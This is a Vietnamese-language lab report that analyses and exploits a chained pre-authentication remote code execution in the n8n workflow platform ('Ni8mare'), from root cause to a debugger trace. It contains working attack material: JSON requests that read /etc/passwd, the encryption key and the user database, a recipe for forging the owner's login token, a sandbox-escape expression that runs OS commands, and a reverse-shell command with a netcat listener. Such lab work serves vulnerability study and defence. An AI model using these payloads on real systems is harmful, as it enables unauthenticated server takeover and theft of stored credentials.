# Báo Cáo Phân Tích & Khai Thác Lỗ Hổng
# CVE-2026-21858 & CVE-2025-68613 — Ni8mare: n8n Pre-Auth RCE
| Thông tin | Chi tiết |
|:---|:---|
| **CVE** | CVE-2026-21858 + CVE-2025-68613 |
| **Tên gọi** | Ni8mare |
| **Loại lỗ hổng** | Content-Type Confusion (Arbitrary File Read) + Expression Injection (Sandbox Escape) → Remote Code Execution |
| **Mức độ nghiêm trọng** | Critical — CVSS 10.0 + 9.9 |
| **Sản phẩm bị ảnh hưởng** | n8n (workflow automation platform) |
| **Phiên bản bị ảnh hưởng** | 1.65.0 – < 1.121.0 (file read) / 0.211.0 – < 1.120.4 và 1.121.0 – < 1.121.1 (RCE) |
| **Phiên bản test** | n8n 1.65.0 (vulnerable) |
| **Phiên bản đã vá** | 1.121.0 (file read), 1.120.4 / 1.121.1 / 1.122.0 (RCE) |
| **Công cụ test** | ni8mare_exploit.py, ni8mare_exploit_2.py, Burp Suite, VS Code Debugger |
---
## 1. Tổng quan lỗ hổng
### 1.1. n8n là gì?
n8n (đọc là "nodemation") là nền tảng tự động hóa workflow mã nguồn mở, tương tự Zapier hoặc Make nhưng có thể tự host (self-hosted). n8n cho phép người dùng tạo các workflow kết nối nhiều dịch vụ với nhau — từ GUI kéo thả, không cần code.
n8n được sử dụng rộng rãi trong doanh nghiệp để tự động hóa quy trình: xử lý email, đồng bộ dữ liệu, tích hợp API, pipeline AI/ML,... Ước tính có khoảng **100.000 instance** n8n đang chạy trên internet.
Kiến trúc rút gọn của n8n và vị trí của hai lỗ hổng trong chuỗi khai thác:
```mermaid
flowchart LR
Client["Client / Attacker"]
Bug1["CVE-2026-21858\nJSON gia mao\nbody.files.filepath"]
Bug2["CVE-2025-68613\nIIFE truy cap global\nthis.process"]
Form["Public Form / Webhook\n/form/* - /webhook/*"]
API["REST API\n/rest/*"]
Auth["Authentication\nn8n-auth JWT cookie"]
Parser["Request body parser\nJSON - multipart/form-data"]
Engine["Workflow engine\nnode execution - data routing"]
Binary["Binary-data handler\ncopyBinaryFile - readFile"]
Expr["Expression engine\n{{ expression }} - Tournament"]
DB[("SQLite database\nusers - workflows\ncredentials")]
Config["~/.n8n/config\nencryptionKey"]
NodeProc["Node.js process\nprocess - loaded modules\nOS privileges"]
Client -->|HTTP request| Form
Client -->|HTTP request| API
Bug1 -.->|attacker-controlled filepath| Parser
Bug2 -.->|sandbox escape| Expr
Form --> Parser
Parser --> Engine
API --> Auth
Auth --> Engine
Auth -.->|derives signing secret| Config
Engine --> Binary
Engine --> Expr
Engine <--> DB
Binary --> NodeProc
Expr --> NodeProc
classDef vuln fill:#ffe8e8,stroke:#d1242f,stroke-width:2px,color:#111
classDef core fill:#eaf3ff,stroke:#0969da,stroke-width:1.5px,color:#111
classDef data fill:#f2f0ff,stroke:#8250df,stroke-width:1.5px,color:#111
classDef client fill:#fff,stroke:#333,stroke-width:1.5px,color:#111
class Bug1,Bug2 vuln
class Form,API,Auth,Parser,Engine,Binary,Expr core
class DB,Config,NodeProc data
class Client client
```
Hai thành phần quan trọng cho lỗ hổng này:
| Thành phần | Chức năng | Tại sao liên quan |
|:---|:---|:---|
| **Webhook / Form Trigger** | Nhận HTTP request từ bên ngoài, parse body (JSON, multipart, form-data) | Bug 1 nằm ở đây — Content-Type confusion trong hàm parse request |
| **Expression Engine** | Đánh giá các biểu thức (expression) trong workflow, vd: `{{ $json.name }}` | Bug 2 nằm ở đây — sandbox yếu, attacker escape ra chạy code tùy ý |
---
### 1.2. Bug 1 — Content-Type Confusion: Đọc file tùy ý (CVE-2026-21858)
#### Webhook xử lý request như thế nào?
Khi n8n nhận HTTP request tại webhook/form endpoint, nó gọi hàm `parseRequestBody()` để parse body. Hàm này kiểm tra header `Content-Type` để quyết định dùng parser nào:
```
parseRequestBody()
│
Kiểm tra Content-Type
│
┌────────────────┼────────────────┐
│ │ │
multipart/form-data application/json other
│ │ │
▼ ▼ ▼
parseFormData() parseBody() raw body
(Formidable) (JSON.parse)
│
▼
Parse file uploads
Lưu vào req.body.files
```
**Bình thường:** Người dùng gửi form có file upload → Content-Type là `multipart/form-data` → `parseFormData()` dùng Formidable parse file → lưu vào `req.body.files` → workflow Respond node đọc file từ `req.body.files` và trả về.
#### Lỗi ở đâu?
Vấn đề: khi webhook handler đọc `req.body.files`, nó **không kiểm tra Content-Type là multipart hay không**. Nó chỉ check xem `req.body.files` có tồn tại không.
Điều này có nghĩa: nếu attacker gửi request với `Content-Type: application/json` thay vì `multipart/form-data`, body sẽ được parse bởi `parseBody()` (JSON.parse) thay vì `parseFormData()` (Formidable). Attacker có thể tự tạo `req.body.files` với nội dung tùy ý — bao gồm **đường dẫn file hệ thống**.
**Luồng bình thường (multipart — an toàn):**
```
POST /form/vulnerable-form
Content-Type: multipart/form-data; boundary=---abc
---abc
Content-Disposition: form-data; name="document"; filename="photo.jpg"
Content-Type: image/jpeg
[binary data của file thật]
---abc--
→ parseFormData() dùng Formidable parse binary data
→ req.body.files.document = { filepath: "/tmp/upload_xxx", ... }
→ Respond node đọc /tmp/upload_xxx (file tạm — an toàn)
→ Trả về binary data của file upload
```
**Luồng tấn công (JSON — không an toàn):**
```
POST /form/vulnerable-form
Content-Type: application/json
{"data":{},"files":{"f-test01":{"filepath":"/etc/passwd",
"originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
→ parseBody() dùng JSON.parse
→ req.body.files tồn tại, nhưng do attacker tự tạo chứ không phải Formidable
→ prepareFormReturnItem() lấy req.body.files và tin tưởng trường filepath
→ copyBinaryFile("/etc/passwd") đọc đường dẫn do attacker kiểm soát
→ Respond node trả binary data về HTTP response
→ Đọc /etc/passwd (file hệ thống!) và trả về nội dung
→ ARBITRARY FILE READ
```
#### So sánh trực quan
| | Bình thường (multipart) | Tấn công (JSON) |
|:---|:---|:---|
| **Content-Type** | `multipart/form-data` | `application/json` |
| **Parser** | `parseFormData()` (Formidable) | `parseBody()` (JSON.parse) |
| **`filepath`** | `/tmp/upload_xxx` (file tạm) | `/etc/passwd` (file hệ thống!) |
| **Ai tạo `filepath`?** | Formidable (server) | Attacker (client!) |
| **Kiểm tra Content-Type?** | Không — handler chỉ check file tồn tại | Không — **ROOT CAUSE** |
| **Kết quả** | Trả về file upload của user | Trả về file hệ thống bất kỳ |
#### Đọc được gì?
Với Arbitrary File Read, attacker đọc:
```
1. /etc/passwd → Danh sách user hệ thống
2. /proc/self/environ → Biến môi trường (tìm HOME dir)
3. ~/.n8n/config → encryptionKey
4. ~/.n8n/database.sqlite → Toàn bộ database: users, credentials, workflows
```
Hai file cuối cung cấp các thành phần khác nhau của chuỗi authentication bypass:
- Từ `config`: lấy **encryption key**, dùng để dẫn xuất JWT signing secret và có thể giải mã credentials đã lưu.
- Từ `database.sqlite`: lấy **owner ID, email và password hash** cùng các credentials/workflow trong database.
- Kết hợp encryption key với dữ liệu owner: **forge token của owner** mà không cần crack password.
---
### 1.3. Bug 2 — Expression Injection: Sandbox Escape → RCE (CVE-2025-68613)
#### Expression được xử lý như thế nào?
n8n cho phép một số tham số của node chứa expression để lấy và biến đổi dữ liệu trong lúc workflow chạy. Ví dụ:
```javascript
={{ $json.name }}
={{ $json.price * 1.1 }}
={{ DateTime.now().toISO() }}
```
Dấu `=` ở đầu cho n8n biết giá trị này phải được evaluate thay vì sử dụng như chuỗi tĩnh. Trên n8n 1.65.0, luồng xử lý chính là:
```text
Node parameter bắt đầu bằng "="
│
▼
resolveSimpleParameterValue()
│ bỏ dấu "="
▼
extendSyntax() / renderExpression()
│ parse và evaluate JavaScript expression
▼
Expression evaluator + sandbox hooks
│
▼
Giá trị trả về được ghi vào output của node
```
Expression evaluator nhận một object `data` chứa các biến được phép sử dụng như `$json`, `$input`, `$env` và một số object đã được rút gọn. n8n 1.65.0 cũng có các kiểm tra đối với `.constructor`, prototype và `Function.prototype.constructor`. Tuy nhiên, các kiểm tra này không kiểm soát đúng giá trị `this` bên trong một function expression thông thường.
#### Payload được sử dụng trong lab
PoC không cần dùng chuỗi `.constructor.constructor`. Payload thực tế tạo một IIFE — function expression được gọi ngay sau khi khai báo:
```javascript
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
```
#### Phân tích từng bước
1. **n8n nhận expression:** Set node chứa chuỗi bắt đầu bằng `=`. `resolveSimpleParameterValue()` nhận diện đây là expression, bỏ dấu `=` rồi chuyển phần `{{ ... }}` cho expression evaluator.
2. **IIFE được gọi mà không có object đứng trước:** `(function() { ... })()` là lời gọi một function thông thường. Trong execution context non-strict của phiên bản vulnerable, `this` bên trong function được bind tới global object của tiến trình Node.js.
3. **`this` không phải `data.this`:** n8n có gán `data.this = {}` và cung cấp một `data.process` đã loại bỏ các thuộc tính nguy hiểm. Hai giá trị này chỉ thuộc data context do evaluator truyền vào. JavaScript keyword `this` bên trong IIFE được xác định khi function được gọi, nên payload lấy được global object thay vì object rỗng trong `data`.
4. **Truy cập Node.js process thật:** `this.process` trả về object `process` của tiến trình n8n. Trên môi trường n8n 1.65.0 trong lab, `process.mainModule.require` cho phép nạp module có sẵn trong Node.js.
5. **Nạp `child_process`:** `require("child_process")` trả về module quản lý tiến trình con. Payload lấy hàm `execSync` từ module này.
6. **Thực thi lệnh hệ điều hành:** `execSync("id")` chạy lệnh với quyền của process n8n. Hàm trả về một `Buffer`; `.toString()` chuyển output thành chuỗi để n8n có thể lưu chuỗi đó trong output của Set node.
7. **Attacker lấy kết quả:** Sau khi workflow hoàn thành, PoC gọi API execution để đọc output, ví dụ `uid=0(root) gid=0(root)` trong lab Docker.
Luồng truy cập runtime của payload:
```text
IIFE được evaluate
│
├─ this → Node.js global object
├─ this.process → process thật của n8n
├─ process.mainModule
├─ mainModule.require("child_process")
├─ child_process.execSync("id")
└─ output.toString() → kết quả trả về workflow
```
#### Tại sao các lớp kiểm tra hiện có không chặn được?
| Cơ chế trong n8n 1.65.0 | Phạm vi kiểm tra | Lý do payload vẫn chạy |
|:---|:---|:---|
| `data.process` đã sanitize | Chỉ cung cấp một bản rút gọn của `process` trong data context | Payload dùng `this.process` lấy từ global object |
| `data.this = {}` | Gán property tên `this` trong data context | Không thay đổi JavaScript `this` binding bên trong IIFE |
| Regex chặn `.constructor` | Từ chối expression chứa truy cập `.constructor` | Payload không chứa `.constructor` |
| Mock `Function.prototype.constructor` | Ngăn tạo function mới bằng Function constructor | Payload sử dụng function expression có sẵn |
| Danh sách property nguy hiểm | Chặn `__proto__`, `prototype`, `constructor`, `getPrototypeOf` | Phiên bản vulnerable chưa chặn `mainModule`, `binding`, `_load` |
#### Tại sao CVE-2025-68613 yêu cầu authentication?
Để khai thác trực tiếp, attacker phải có quyền tạo hoặc sửa workflow, đưa expression vào tham số của node và yêu cầu n8n chạy workflow đó. Vì vậy CVE-2025-68613 riêng lẻ là lỗ hổng authenticated RCE.
Trong chuỗi Ni8mare, CVE-2026-21858 được dùng trước để đọc config và database, sau đó forge token của owner. Token này cung cấp quyền gọi REST API tạo và chạy workflow, nên toàn bộ chuỗi có thể bắt đầu từ trạng thái chưa xác thực.
---
### 1.4. Tại sao phải chain 2 bug?
Mỗi bug đơn lẻ có **hạn chế**:
```
Attacker (không có tài khoản)
│
▼
┌───────────────────────────┐
Bug 1: │ Content-Type Confusion │ → Đọc file bất kỳ (CVE-2026-21858)
│ │ NHƯNG không chạy được code
└─────────────┬─────────────┘
│ Đọc database → forge admin JWT
▼
┌───────────────────────────┐
Bug 2: │ Expression Injection │ → RCE (CVE-2025-68613)
│ │ NHƯNG cần đăng nhập
└─────────────┬─────────────┘
│ Admin JWT từ Bug 1 → bypass auth
▼
┌───────────────────────────┐
│ FULL PRE-AUTH RCE │
└───────────────────────────┘
```
| Scenario | Đọc file? | Chạy code? | Kết quả |
|:---|:---|:---|:---|
| **Chỉ Bug 1** (Content-Type Confusion) | ✓ Đọc bất kỳ | ✗ Không | Chỉ đọc — không RCE |
| **Chỉ Bug 2** (Expression Injection) | ✗ | ✓ RCE | Cần đăng nhập — không pre-auth |
| **Chain Bug 1 + Bug 2** | ✓ Đọc DB → forge JWT | ✓ RCE | **Pre-Auth RCE** |
Tên **Ni8mare** = "Nightmare" + "n8n" + "8" — đây là cơn ác mộng của mọi ai tự host n8n mà không cập nhật.
---
### 1.5. Chuỗi tấn công hoàn chỉnh — Từ HTTP request đến RCE
```mermaid
sequenceDiagram
autonumber
participant A as Attacker
participant F as Public Form endpoint
participant FS as n8n filesystem
participant API as n8n REST API
participant E as Expression engine
participant OS as Operating system
A->>F: POST application/json với body.files[*].filepath
F->>FS: copyBinaryFile(filepath)
FS-->>A: /proc/self/environ, ~/.n8n/config, database.sqlite
Note over A: Trích xuất encryptionKey
và owner id/email/password hash
A->>A: Tính JWT secret + token hash, ký JWT HS256
A->>API: GET /rest/users với cookie n8n-auth
API-->>A: Owner access hợp lệ
A->>API: POST /rest/workflows (Manual Trigger → Set node)
Note over A,API: Set node chứa IIFE gọi
this.process.mainModule.require("child_process")
A->>API: POST /rest/workflows/{id}/run
API->>E: Evaluate giá trị expression của Set node
E->>OS: execSync(COMMAND)
OS-->>E: stdout
E-->>API: Lưu output vào execution data
A->>API: GET /rest/executions/{executionId}
API-->>A: Kết quả lệnh hệ điều hành
```
#### Bước 1 — Đọc file qua Content-Type confusion
Attacker gửi `Content-Type: application/json`, nhưng body được tạo theo cấu trúc file upload mà Formidable thường sinh ra:
```json
{
"data": {},
"files": {
"f-test01": {
"filepath": "/proc/self/environ",
"originalFilename": "test.bin",
"mimetype": "application/octet-stream",
"size": 1234
}
}
}
```
n8n 1.65.0 tin tưởng `body.files[*].filepath`, đọc file và trả nội dung qua workflow response. PoC dùng `/proc/self/environ` để tìm `HOME`, sau đó xác định chính xác vị trí config và database.
#### Bước 2 — Thu thập dữ liệu cần để tạo token
PoC đọc hai file:
- `~/.n8n/config` → lấy `encryptionKey`.
- `~/.n8n/database.sqlite` → truy vấn bảng `user` để lấy `id`, `email` và `password` hash của account có role `global:owner`.
Password hash được dùng làm input cho thuật toán tạo token; PoC không crack bcrypt và không khôi phục password gốc.
#### Bước 3 — Forge JWT của owner
Trên n8n 1.65.0 trong lab, PoC tái tạo đúng các giá trị mà server dùng để ký và kiểm tra cookie xác thực:
```python
jwt_secret = sha256(encryption_key[::2]).hexdigest()
token_hash = base64(sha256(f"{email}:{password_hash}").digest())[:10]
payload = {"id": owner_id, "hash": token_hash}
token = JWT_HS256(payload, jwt_secret)
```
Ý nghĩa của từng giá trị:
| Giá trị | Nguồn | Vai trò |
|:---|:---|:---|
| `encryption_key[::2]` | `~/.n8n/config` | Input để dẫn xuất JWT signing secret |
| `owner_id` | Bảng `user` | Xác định account mà token đại diện |
| `email:password_hash` | Bảng `user` | Tạo trường `hash` để server kiểm tra trạng thái account |
| `jwt_secret` | Tính từ encryption key | Ký token bằng HS256 |
PoC gửi token qua cookie `n8n-auth` và gọi `GET /rest/users`. Nếu API trả dữ liệu owner, bước bypass authentication đã thành công. Token không tự chứa chuỗi `administrator`; quyền được n8n xác định từ user ID và role của user trong database.
#### Bước 4 — Tạo và chạy workflow chứa expression độc hại
Sau khi có cookie owner, PoC thực hiện bốn request API:
1. **Tạo workflow:** `POST /rest/workflows` với hai node nối tiếp nhau:
- `Manual Trigger` dùng làm điểm bắt đầu.
- `Set` node có một string field, nhưng `value` của field là expression độc hại.
2. **Nội dung expression:**
```javascript
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("COMMAND").toString();
})() }}
```
Payload được đặt trong JSON của workflow như dữ liệu cấu hình node. Nó chưa chạy tại thời điểm `POST /rest/workflows`; database chỉ lưu workflow và expression.
3. **Yêu cầu execute:** `POST /rest/workflows/{workflowId}/run` gửi kèm `workflowData`. Khi Set node chạy, n8n thấy giá trị bắt đầu bằng `=` nên chuyển expression vào evaluator. IIFE lấy Node.js global object qua `this`, truy cập `process.mainModule.require`, nạp `child_process` và gọi `execSync("COMMAND")`.
4. **Lấy output và cleanup:** API run trả `executionId`. PoC gọi `GET /rest/executions/{executionId}`, tìm field output của Set node, sau đó xóa workflow bằng `DELETE /rest/workflows/{workflowId}`.
#### Bước 5 — Remote Code Execution
Lệnh chạy với quyền của process n8n. Trong Dockerfile của lab, container khởi động dưới quyền `root`, nên `id` trả `uid=0(root)`. Đây là đặc điểm của cấu hình lab; trên hệ thống khác, quyền đạt được sẽ bằng quyền của user đang chạy n8n.
---
### 1.6. So sánh mức độ ảnh hưởng theo phiên bản
| Phiên bản | Content-Type Confusion (CVE-2026-21858) | Expression Injection (CVE-2025-68613) | Mức độ |
|:---|:---|:---|:---|
| < 0.211.0 | Không | Không | Không bị ảnh hưởng bởi hai CVE này |
| 0.211.0 – 1.64.x | Không | Có | Authenticated RCE; chưa có file-read để tạo pre-auth chain |
| **1.65.0 – 1.120.3** | **Có** | **Có** | **Full chain: Pre-Auth RCE** |
| 1.120.4 | Có | Đã vá | Đọc file + forge JWT, nhưng không RCE |
| 1.121.0 | Đã vá | Có | Authenticated RCE; không còn file-read chain |
| 1.121.1+ | Đã vá | Đã vá | Đã vá hai CVE; nên nâng lên bản stable mới nhất |
**Điều kiện khai thác:**
- Cần có **ít nhất 1 workflow active** có Form Trigger hoặc Webhook Trigger với `fieldType: "file"` + `respondWith: "binary"`
- Không cần plugin, không cần cấu hình đặc biệt ngoài workflow
- n8n default dùng SQLite (lưu tại `~/.n8n/database.sqlite`) → attacker đọc được toàn bộ database chỉ bằng 1 file read
---
## 2. Thiết lập môi trường lab
### 2.1. Khởi động Docker
Lab sử dụng Docker Compose với một container n8n 1.65.0. Chỉ cần chạy:
```bash
cd ni8mare-lab
docker compose up -d --build
```
Không cần chạy `setup.sh` thủ công trong lab Docker. File `docker-compose.yml` đã mount thư mục `./init` vào `/init` và thay entrypoint của container bằng chuỗi lệnh:
```bash
n8n start &
sleep 15
bash /init/setup.sh
wait
```
Sau khi `n8n start` chạy nền, Compose tự gọi `/init/setup.sh`. Bản thân script tiếp tục poll `GET /rest/settings` cho tới khi n8n thật sự sẵn sàng, rồi thực hiện lần lượt:
1. `POST /rest/owner/setup` → tạo owner `admin@exploit.local`.
2. `POST /rest/login` → lấy cookie xác thực.
3. `POST /rest/workflows` → tạo workflow **Vulnerable Form**.
4. `PATCH /rest/workflows/{id}` với `{"active": true}` → activate workflow và mở endpoint `/form/vulnerable-form`.
Theo dõi toàn bộ quá trình bằng:
```bash
docker compose logs -f
```
Khi thấy banner **"Ni8mare Lab -- READY!"** kèm version 1.65.0, owner và workflow đã được tạo thành công.
> **Phân biệt hai môi trường:** với Docker, Compose tự chạy `/init/setup.sh`. Khi chạy n8n trực tiếp từ source trên Windows để debug ở phần 6, không có Compose entrypoint nên phải chạy script setup thủ công sau khi debugger báo n8n đã sẵn sàng.

### 2.2. n8n Dashboard
Truy cập `http://10.10.10.1:5678/` → đăng nhập `admin@exploit.local` / `ExploitLab123!`. Dashboard hiển thị workflow "Vulnerable Form" với trạng thái **Active** (toggle xanh), nghĩa là endpoint `/form/vulnerable-form` đang mở và chấp nhận request.

### 2.3. Workflow vulnerable
Click vào "Vulnerable Form" → mở workflow editor. Workflow gồm 2 node: **Form Trigger** → **Respond**.
- **Form Trigger:** Nhận HTTP request tại `/form/vulnerable-form`, parse body, xử lý file upload.
- **Respond:** Nhận data từ Form Trigger, trả kết quả về cho client.

### 2.4. Form Trigger config
Click vào node Form Trigger → xem Parameters:
- **Field Label:** `document`
- **Field Type:** `File` → n8n sẽ xử lý `req.body.files` (đọc filepath để tạo binary data)
- **Multiple Files:** bật → cho phép nhiều file
- **Respond When:** `responseNode` → response do node Respond quyết định

### 2.5. Network Topology
```
┌──────────────────────────────────────────────────────────┐
│ ATTACKER: Kali Linux (10.10.10.100) │
│ • Burp Suite • ni8mare_exploit_2.py │
└────────────────────────────┬─────────────────────────────┘
│
│ HTTP Requests (:5678)
▼
┌──────────────────────────────────────────────────────────┐
│ TARGET HOST: Windows (10.10.10.1) │
│ Network: Host-Only (10.10.10.0/24) │
├──────────────────────────────────────────────────────────┤
│ ┌────────────────────────────────────────────────────┐ │
│ │ n8n Container (Port 5678) │ │
│ │ • n8n 1.65.0 (vulnerable) | SQLite DB │ │
│ │ • Admin: admin@exploit.local / ExploitLab123! │ │
│ │ • Workflow: "Vulnerable Form" (active) │ │
│ └────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
```
### Bảng thông tin môi trường
| Thông tin | Giá trị |
|:---|:---|
| URL n8n | `http://10.10.10.1:5678` |
| URL Form | `http://10.10.10.1:5678/form/vulnerable-form` |
| Phiên bản n8n | 1.65.0 (vulnerable) |
| Docker Image | Custom build từ `node:20-slim` + `n8n@1.65.0` |
| Tài khoản admin | `admin@exploit.local` / `ExploitLab123!` |
| Database | SQLite (tại `/root/.n8n/database.sqlite`) |
| Network | Host-Only `10.10.10.0/24` (Kali `10.10.10.100` → Windows `10.10.10.1`) |
---
## 3. Điều kiện khai thác
### 3.1. Kiểm tra n8n version (Burp)
Gửi `GET /rest/settings` qua Burp Repeater. Response JSON trả về thông tin cấu hình n8n mà không cần auth. Trường `"versionCli": "1.65.0"` xác nhận version nằm trong khoảng bị ảnh hưởng của cả 2 CVE.

### 3.2. Kiểm tra Form endpoint (Burp)
Gửi `GET /form/vulnerable-form`. Response trả về HTTP 200 + HTML chứa form upload file (trường "document", nút "Choose Files", nút "Submit"). Endpoint này public — không cần cookie hay token.

### Bảng điều kiện
| Điều kiện | Yêu cầu | Thực tế (lab) | Cách kiểm tra |
|:---|:---|:---|:---|
| n8n version | 1.65.0 – < 1.121.0 (file read) và nằm trong nhánh RCE vulnerable | 1.65.0 | `GET /rest/settings` |
| Form endpoint | Có workflow active với Form Trigger | "Vulnerable Form" active | `GET /form/vulnerable-form` → 200 |
| Authentication | Không cần (pre-auth) | Không cần | Không gửi cookie/token vẫn truy cập được |
| Network | Attacker reach được n8n | Kali → Windows Host-Only | ping 10.10.10.1 |
---
## 4. Reconnaissance
### 4.1. Fingerprint n8n (Burp)
Gửi `GET /rest/settings` lần nữa, lần này chú ý thêm thông tin chi tiết. Response tiết lộ:
- `databaseType: "sqlite"` → n8n dùng SQLite, database lưu thành 1 file duy nhất → attacker đọc được toàn bộ DB chỉ bằng 1 file read
- `versionCli: "1.65.0"` → version vulnerable
- `nodeJsVersion: "20.20.2"` → Node.js version
- `authCookie.secure: false` → cookie không bật secure flag
API này public, không cần auth, tiết lộ nhiều thông tin cấu hình nội bộ.

### 4.2. Test Content-Type Confusion (Burp)
Gửi POST request với `Content-Type: application/json` (thay vì `multipart/form-data` như form upload bình thường), body chứa JSON giả lập cấu trúc Formidable:
```http
POST /form/vulnerable-form HTTP/1.1
Host: 10.10.10.1:5678
Content-Type: application/json
{"data":{},"files":{"f-test01":{"filepath":"/etc/hostname","originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
```
Response trả về nội dung file `/etc/hostname`: `eb2d88ba9e86` (container ID). Đây là bằng chứng trực tiếp rằng CVE-2026-21858 tồn tại — n8n đọc file tại `filepath` do attacker chỉ định mà không kiểm tra Content-Type hay nguồn gốc của `files`.

---
## 5. Exploitation (PoC)
> Tất cả lệnh chạy từ Kali Linux (`10.10.10.100`), tấn công n8n Docker trên Windows (`10.10.10.1:5678`).
>
> **Giai đoạn 1 (Burp):** Chứng minh Arbitrary File Read thủ công — đọc từng file nhạy cảm.
>
> **Giai đoạn 2 (ni8mare_exploit_2.py):** Full chain tự động: file read → forge JWT → expression injection → RCE + reverse shell.
### 5.1. Đọc /etc/passwd (Burp)
```http
POST /form/vulnerable-form HTTP/1.1
Host: 10.10.10.1:5678
Content-Type: application/json
{"data":{},"files":{"f-test01":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
```
Response trả về toàn bộ nội dung `/etc/passwd`. Dòng cuối cùng `node:x:1000:1000::/home/node:/bin/bash` cho biết n8n chạy dưới user `node`. Nhưng dòng đầu `root:x:0:0:root:/root:/bin/bash` cho biết container cũng có root.

### 5.2. Đọc /proc/self/environ (Burp)
Sửa `filepath` thành `/proc/self/environ`:
```http
POST /form/vulnerable-form HTTP/1.1
Host: 10.10.10.1:5678
Content-Type: application/json
{"data":{},"files":{"f-test02":{"filepath":"/proc/self/environ","originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
```
Response chứa biến môi trường của process n8n. Thông tin quan trọng: **`HOME=/root`** — xác nhận n8n config và database nằm tại `/root/.n8n/`.

### 5.3. Đọc Encryption Key (Burp)
```http
POST /form/vulnerable-form HTTP/1.1
Host: 10.10.10.1:5678
Content-Type: application/json
{"data":{},"files":{"f-test03":{"filepath":"/root/.n8n/config","originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
```
Response trả về JSON config chứa `"encryptionKey": "a7wBOss6LjSz6qhJyKcq+wWnedDd7f3y"`.
Encryption key không chỉ dùng để giải mã credentials đã lưu trong n8n. Quan trọng hơn, nó được dùng để **tính JWT signing secret** theo công thức:
```
jwt_secret = sha256(encryption_key[::2])
```
`encryption_key[::2]` = lấy ký tự ở vị trí chẵn (0, 2, 4, 6,...). Ví dụ: `"a7wBOss6LjSz..."` → lấy `a`, `w`, `O`, `s`, `L`,... → hash SHA256 → JWT secret. Có JWT secret → ký token với bất kỳ user ID nào → bypass auth hoàn toàn mà không cần biết password.

### 5.4. Đọc Database SQLite (Burp)
```http
POST /form/vulnerable-form HTTP/1.1
Host: 10.10.10.1:5678
Content-Type: application/json
{"data":{},"files":{"f-test04":{"filepath":"/root/.n8n/database.sqlite","originalFilename":"test.bin","mimetype":"application/octet-stream","size":1234}}}
```
Response trả về toàn bộ database SQLite (417,982 bytes). Response body bắt đầu bằng `SQLite format 3` — header chuẩn của file SQLite. Trong Burp: click phải Response → **Copy to file** → lưu thành `n8n.db` → mở bằng DB Browser for SQLite.
Database chứa:
- Bảng `user`: admin ID, email (`admin@exploit.local`), password hash (bcrypt)
- Bảng `credentials_entity`: tất cả credentials đã lưu (encrypted)
Exploit cần **admin ID + email + password hash** (không cần crack) để tính `token_hash`:
```
token_hash = base64(sha256("admin@exploit.local:$2b$10$..."))[:10]
```
n8n nhúng `token_hash` vào JWT payload. Khi verify, n8n tính lại và so sánh — nên exploit cần hash gốc, không cần password.
Đến đây đã chứng minh xong **CVE-2026-21858** — đọc được mọi file nhạy cảm trên server mà không cần auth.

### 5.5. Full chain RCE (ni8mare_exploit.py)
```bash
python3 ni8mare_exploit.py http://10.10.10.1:5678 /form/vulnerable-form --cmd "id"
```
Exploit tự động chạy 3 phase:
**Phase 1 — Arbitrary File Read (CVE-2026-21858):**
- Đọc `/proc/self/environ` → xác định `HOME=/root`
- Đọc `/root/.n8n/config` → lấy encryption key `a7wBOss6LjSz...`
- Đọc `/root/.n8n/database.sqlite` (3,043,328 bytes) → extract admin info
**Phase 2 — Forge Admin JWT:**
- Tính `jwt_secret = sha256(encryption_key[::2])`
- Tính `token_hash = base64(sha256(email:password_hash))[:10]`
- Ký JWT với `{id: admin_id, hash: token_hash}` → verify qua `GET /rest/users` → "Admin access GRANTED!"
**Phase 3 — Expression Injection (CVE-2025-68613):**
- Tạo workflow mới chứa expression: `={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("id").toString(); })() }}`
- Execute workflow → sandbox escape → OS command execution
- Kết quả: `uid=0(root) gid=0(root) groups=0(root)`
- Cleanup: xóa workflow + execution records

### 5.6. Reverse Shell
**Terminal 1 — Listener (Kali):**
```bash
nc -lvnp 4444
```
**Terminal 2 — Exploit (Kali):**
```bash
python3 ni8mare_exploit.py http://10.10.10.1:5678 /form/vulnerable-form --cmd "bash -c 'bash -i >& /dev/tcp/10.10.10.100/4444 0>&1'"
```
Bên listener nhận connection từ `10.10.10.1`, chạy `whoami` → `root`, `ls` → thấy toàn bộ filesystem (`bin`, `etc`, `home`, `proc`, `root`,...). Attacker có full interactive shell trên container n8n với quyền root.

---
## 6. Debug — Trace luồng thực thi
> Source n8n 1.65.0 được clone, build và chạy từ `C:\Users\ACER\Documents\n8n` trên Windows. Dùng VS Code debugger (config "Launch n8n with debug", F5) để đặt breakpoint vào source TypeScript, chạy exploit từ terminal khác, debugger dừng tại đúng dòng code gây ra lỗ hổng.
>
> Exploit chạy trên target Windows (localhost), nên filepath trong debug là `C:/Users/ACER/.n8n/config` thay vì `/root/.n8n/config` (Docker Linux).
### 6.1. Setup debug
n8n 1.65.0 chạy từ source trên Windows, VS Code debugger attached. Debug Console xác nhận:
```
n8n ready on 0.0.0.0, port 5678
Version: 1.65.0
Start Active Workflows:
- "Vulnerable Form" (ID: VXuF5H4DQ9cEE1ye) → Started
Editor is now accessible via: http://localhost:5678/
```
File `packages/nodes-base/nodes/Form/utils.ts` đang mở.

### 6.2. Bug 1 — Breakpoint tại `prepareFormReturnItem()` (root cause)
**File:** `packages/nodes-base/nodes/Form/utils.ts`, dòng 163
Chạy exploit `ni8mare_exploit_2.py` từ terminal khác → gửi request đọc config → debugger dừng tại dòng 163.
Panel **Variables** cho thấy:
```
bodyData = {}
files = {f-jk4tjd: {…}}
▸ f-jk4tjd = {filepath: 'C:/Users/ACER/.n8n/config', ori...
filepath = 'C:/Users/ACER/.n8n/config'
mimetype = 'application/octet-stream'
originalFilename = 'm0m2mhko.bin'
size = 88566
```
